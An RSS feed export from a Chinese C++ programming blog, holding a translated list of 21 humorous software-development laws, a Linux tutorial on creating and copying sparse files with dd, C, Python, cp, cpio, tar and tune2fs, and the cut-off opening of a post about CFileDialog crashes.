﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-elva-随笔分类-技术研究</title><link>http://www.cppblog.com/elva/category/4268.html</link><description /><language>zh-cn</language><lastBuildDate>Sun, 10 Oct 2010 09:45:34 GMT</lastBuildDate><pubDate>Sun, 10 Oct 2010 09:45:34 GMT</pubDate><ttl>60</ttl><item><title>软件编程21法则 </title><link>http://www.cppblog.com/elva/archive/2010/10/10/129324.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Sun, 10 Oct 2010 04:41:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2010/10/10/129324.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/129324.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2010/10/10/129324.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/129324.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/129324.html</trackback:ping><description><![CDATA[<div id=OSChina_News_12178 class="NewsContent TextContent" sizset="211" sizcache="2">
<p>[英文出处]：<a href="http://www.devtopics.com/21-laws-of-computer-programming/"><u><font color=#0066cc>21 Laws of Computer Programming</font></u></a><br>[译文出处]：<a href="http://www.aqee.net/2010/09/30/21-laws-of-computer-programming/" target=_blank><u><font color=#0066cc>外刊IT评论</font></u></a></p>
<p>任何一个有经验的程序员都知道，软件开发遵循着一些不成文的法则。然而，如果你不遵循这些法则也并不意味着会受到惩罚；相反，有时你还会获得意外的好处。</p>
<p>下面的就是软件编程中的21条法则：</p>
<p><span id=more-860>&nbsp;</span></p>
<ol sizset="211" sizcache="2">
    <li>任何程序一旦部署即显陈旧。
    <li>修改需求规范来适应程序比反过来做更容易。
    <li>一个程序如果很有用，那它注定要被改掉。
    <li>一个程序如果没用，那它一定会有很好的文档。
    <li>任何程序里都仅仅只有10%的代码会被执行到。
    <li>软件会一直膨胀到耗尽所有资源为止。
    <li>任何一个有点价值的程序里都会有至少一个bug。
    <li>原型完美的程度跟审视的人数成反比，反比值会随着涉及的资金数增大。
    <li>软件直到被变成产品运行至少6个月后，它最严重的问题才会被发现。
    <li>无法检测到的错误的形式无限多样，而能被检测到的正好相反，被定义了的十分有限。
    <li>修复一个错误所需要投入的努力会随着时间成指数级增加。
    <li>软件的复杂度会一直增加，直到超出维护这个程序的人的承受能力。
    <li>任何自己的程序，几个月不看，形同其他人写的。
    <li>任何一个小程序里面都有一个巨大的程序蠢蠢欲出。
    <li>编码开始的越早，花费的时间越长。
    <li>一个粗心的项目计划会让你多花3倍的时间去完成；一个细心的项目计划只会让你多花2倍的时间。
    <li>往大型项目里添加人手会使项目更延迟。
    <li>一个程序至少会完成90%，但永远完成不了超过95%。
    <li>如果你想麻烦被自动处理掉，你得到的是自动产生的麻烦。
    <li>开发一个傻瓜都会使用的软件，只有傻瓜愿意使用它。
    <li>用户不会真正的知道要在软件里做些什么，除非使用过。 </li>
</ol>
</div>
<img src ="http://www.cppblog.com/elva/aggbug/129324.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2010-10-10 12:41 <a href="http://www.cppblog.com/elva/archive/2010/10/10/129324.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux对稀疏（Sparse）文件的支持</title><link>http://www.cppblog.com/elva/archive/2008/06/26/54662.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Thu, 26 Jun 2008 05:47:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2008/06/26/54662.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/54662.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2008/06/26/54662.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/54662.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/54662.html</trackback:ping><description><![CDATA[<p><strong></p>
<p>稀疏（Sparse）文件的创建</strong></p>
<ol>
    <li>在EXT2/EXT3文件系统上可以使用dd创建稀疏文件：<br><br>
    <div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">$&nbsp;dd&nbsp;if=/dev/zero&nbsp;of=fs.img&nbsp;bs=1M&nbsp;seek=1024&nbsp;count=0<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>0+0&nbsp;records&nbsp;in<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>0+0&nbsp;records&nbsp;out<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>$&nbsp;ls&nbsp;-lh&nbsp;fs.img<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>-rw-rw-r--&nbsp;&nbsp;1&nbsp;zhigang&nbsp;zhigang&nbsp;1.0G&nbsp;Feb&nbsp;&nbsp;5&nbsp;19:50&nbsp;fs.img<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>$&nbsp;du&nbsp;-sh&nbsp;fs.img<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fs.img<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top></span></div>
    <br></li>
    <li>使用C语言来创建一个稀疏文件的方法如下：<br><br>
    <div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">$&nbsp;cat&nbsp;sparse.c<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>#include&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">sys</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">types.h</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>#include&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">sys</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">stat.h</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>#include&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">fcntl.h</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>#include&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">unistd.h</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;main(</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;argc,&nbsp;</span><span style="COLOR: #0000ff">char</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">argv[])<br><img id=Codehighlighter1_133_256_Open_Image onclick="this.style.display='none'; Codehighlighter1_133_256_Open_Text.style.display='none'; Codehighlighter1_133_256_Closed_Image.style.display='inline'; Codehighlighter1_133_256_Closed_Text.style.display='inline';" src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_133_256_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_133_256_Closed_Text.style.display='none'; Codehighlighter1_133_256_Open_Image.style.display='inline'; Codehighlighter1_133_256_Open_Text.style.display='inline';" src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span id=Codehighlighter1_133_256_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_133_256_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;fd&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;open(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">sparse.file</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,&nbsp;O_RDWR</span><span style="COLOR: #000000">|</span><span style="COLOR: #000000">O_CREAT);<br><img src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;lseek(fd,&nbsp;</span><span style="COLOR: #000000">1024</span><span style="COLOR: #000000">,&nbsp;SEEK_CUR);<br><img src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;write(fd,&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\0</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif" align=top><br><img src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</span></span><span style="COLOR: #000000"><br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>$&nbsp;gcc&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">o&nbsp;sparse&nbsp;sparse.c<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>$&nbsp;.</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">sparse<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>$&nbsp;ls&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">l&nbsp;sparse.file<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">r</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">x</span><span style="COLOR: #000000">--</span><span style="COLOR: #000000">x</span><span style="COLOR: #000000">---</span><span style="COLOR: #000000">&nbsp;&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">&nbsp;zhigang&nbsp;zhigang&nbsp;</span><span style="COLOR: #000000">1025</span><span style="COLOR: #000000">&nbsp;Feb&nbsp;&nbsp;</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">23</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">12</span><span style="COLOR: #000000">&nbsp;sparse.file<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>]$&nbsp;du&nbsp;sparse.file<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sparse.file<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top></span></div>
    <br></li>
    <li>&nbsp;使用python来创建一个稀疏文件的方法如下： <br><br>
    <div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">$&nbsp;cat&nbsp;sparse.py<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">!/usr/bin/env&nbsp;python</span><span style="COLOR: #008000"><br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000"><br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>f&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;open(</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">fs.img</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">w</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">)<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>f.seek(</span><span style="COLOR: #000000">1023</span><span style="COLOR: #000000">)<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>f.write(</span><span style="COLOR: #800000">'</span><span style="COLOR: #800000">\n</span><span style="COLOR: #800000">'</span><span style="COLOR: #000000">)<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>$&nbsp;python&nbsp;sparse.py<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>$&nbsp;ls&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">l&nbsp;fs.img<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">rw</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">rw</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">r</span><span style="COLOR: #000000">--</span><span style="COLOR: #000000">&nbsp;&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">&nbsp;zhigang&nbsp;zhigang&nbsp;</span><span style="COLOR: #000000">1024</span><span style="COLOR: #000000">&nbsp;Feb&nbsp;&nbsp;</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">20</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">15</span><span style="COLOR: #000000">&nbsp;fs.img<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>$&nbsp;du&nbsp;fs.img<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fs.img<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top></span></div>
    <p><strong><br>文件稀疏化（sparsify）</strong></p>
    <p>下面的方法都可以将一个文件稀疏化。<br><br>1. cp:<br></p>
    <div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">$&nbsp;cp&nbsp;</span><span style="COLOR: #000000">--</span><span style="COLOR: #000000">sparse</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">always&nbsp;file&nbsp;file.sparse</span></div>
    <p><br>cp缺省使用--sparse=auto，会自动探测源文件中是否有空洞，以决定目标文件是否为稀疏文件；使用--sparse=never会禁止创建稀疏文件。<br><br>2. cpio: <br></p>
    <div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">$&nbsp;find&nbsp;file&nbsp;</span><span style="COLOR: #000000">|</span><span style="COLOR: #000000">cpio&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">pdmuv&nbsp;</span><span style="COLOR: #000000">--</span><span style="COLOR: #000000">sparse&nbsp;</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">tmp</span></div>
    <p><br>如果不加--sparse参数，稀疏文件中的空洞将被填满。 <br><br>3. tar: <br></p>
    <div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">$&nbsp;tar&nbsp;cSf&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;file&nbsp;</span><span style="COLOR: #000000">|</span><span style="COLOR: #000000">&nbsp;(cd&nbsp;</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">tmp</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">tt;&nbsp;tar&nbsp;xpSf&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">)<img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top></span></div>
    <p><br>如果不加 -S --sparse参数，稀疏文件中的空洞将被填满。 <br><br></p>
    <p><strong>文件稀疏化（sparsify）效率比较</strong></p>
    <p>下面我们创建一个500M的稀疏文件，比较一下几种文件稀疏化方法的效率。 <br><br></p>
    <div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">$&nbsp;dd&nbsp;if=/dev/zero&nbsp;of=file&nbsp;count=100&nbsp;bs=1M&nbsp;seek=400<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>100+0&nbsp;records&nbsp;in<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>100+0&nbsp;records&nbsp;out<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>$&nbsp;time&nbsp;cp&nbsp;--sparse=always&nbsp;file&nbsp;file.sparse<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>real&nbsp;&nbsp;&nbsp;&nbsp;0m0.626s<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>user&nbsp;&nbsp;&nbsp;&nbsp;0m0.205s<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>sys&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0m0.390s<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>$&nbsp;time&nbsp;tar&nbsp;cSf&nbsp;-&nbsp;file&nbsp;|&nbsp;(cd&nbsp;/tmp;&nbsp;tar&nbsp;xpSf&nbsp;-)<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>real&nbsp;&nbsp;&nbsp;&nbsp;0m2.732s<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>user&nbsp;&nbsp;&nbsp;&nbsp;0m1.706s<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>sys&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0m0.915s<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>$&nbsp;time&nbsp;find&nbsp;file&nbsp;|cpio&nbsp;-pdmuv&nbsp;--sparse&nbsp;/tmp<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>/tmp/file<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>1024000&nbsp;blocks<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>real&nbsp;&nbsp;&nbsp;&nbsp;0m2.763s<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>user&nbsp;&nbsp;&nbsp;&nbsp;0m1.793s<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>sys&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0m0.946s<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top></span></div>
    <p><br>由此可见，上面几种文件稀疏化的方法中，cp的效率最高；tar和cpio由于使用管道，效率下降。 </p>
    <p><strong>使EXT2/EXT3文件系统稀疏化（sparsify）</strong></p>
    <p>如何是一个文件系统的映像文件稀疏化？Ron Yorston为大家提供了<a href="http://intgat.tigress.co.uk/rmy/uml/sparsify.html">几种方法</a>，我觉得下面的方法最简单： <br><br>1. 使用Ron Yorston的<a href="http://intgat.tigress.co.uk/rmy/uml/zerofree.c">zerofree</a>将文件系统中未使用的块清零。<br></p>
    <div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">$&nbsp;gcc&nbsp;-o&nbsp;zerofree&nbsp;zerofree.c&nbsp;-lext2fs<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>$&nbsp;./zerofree&nbsp;fs.img</span></div>
    <p><br>2.使用cp命令使映像文件稀疏化： <br></p>
    <div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">$&nbsp;cp&nbsp;--sparse=always&nbsp;fs.img&nbsp;fs_sparse.img</span></div>
    <p><br>&nbsp;</p>
    <p><strong>EXT2/EXT3文件系统的sparse_super参数</strong></p>
    <p>这个参数与EXT2/EXT3是否支持Sparse文件无关；当打开该参数时，文件系统将使用更少的超级块（Super block）备份，以节省空间。</p>
    <p>如下的命令可以查看该参数：<br></p>
    <div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">#&nbsp;echo&nbsp;stats&nbsp;|&nbsp;debugfs&nbsp;/dev/hda2&nbsp;|&nbsp;grep&nbsp;-i&nbsp;features<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>Filesystem&nbsp;features:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;has_journal&nbsp;ext_attr&nbsp;resize_inode&nbsp;dir_index&nbsp;filetype&nbsp;needs_recovery&nbsp;sparse_super&nbsp;large_file</span></div>
    <p><br>或者：<br></p>
    <div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">#&nbsp;tune2fs&nbsp;-l&nbsp;/dev/hda2&nbsp;|grep&nbsp;"Filesystem&nbsp;features"<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>Filesystem&nbsp;features:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;has_journal&nbsp;ext_attr&nbsp;resize_inode&nbsp;dir_index&nbsp;filetype&nbsp;needs_recovery&nbsp;sparse_super&nbsp;large_file</span></div>
    <p><br>可以通过使用： <br></p>
    <div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">#&nbsp;tune2fs&nbsp;-O&nbsp;sparse_super</span></div>
    <p><br>或者：<br></p>
    <div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">#&nbsp;tune2fs&nbsp;-s&nbsp;[0|1]</span></div>
    <p><br>来设置该参数。 </p>
    <p><strong>参考资料<br></p>
    <ol>
        <li>Keeping filesystem images sparse:</li>
    </ol>
    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<a href="http://intgat.tigress.co.uk/rmy/uml/sparsify.html">http://intgat.tigress.co.uk/rmy/uml/sparsify.html</a>. </p>
    <!-- google_ad_section_end --></strong></li>
</ol>
<img src ="http://www.cppblog.com/elva/aggbug/54662.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2008-06-26 13:47 <a href="http://www.cppblog.com/elva/archive/2008/06/26/54662.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CFileDialog 异常退出的问题</title><link>http://www.cppblog.com/elva/archive/2008/06/18/53834.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Wed, 18 Jun 2008 03:52:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2008/06/18/53834.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/53834.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2008/06/18/53834.html#Feedback</comments><slash:comments>9</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/53834.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/53834.html</trackback:ping><description><![CDATA[很多人遇到这个问题，终于找到了原因。<br>两行简单的代码：<br><br>
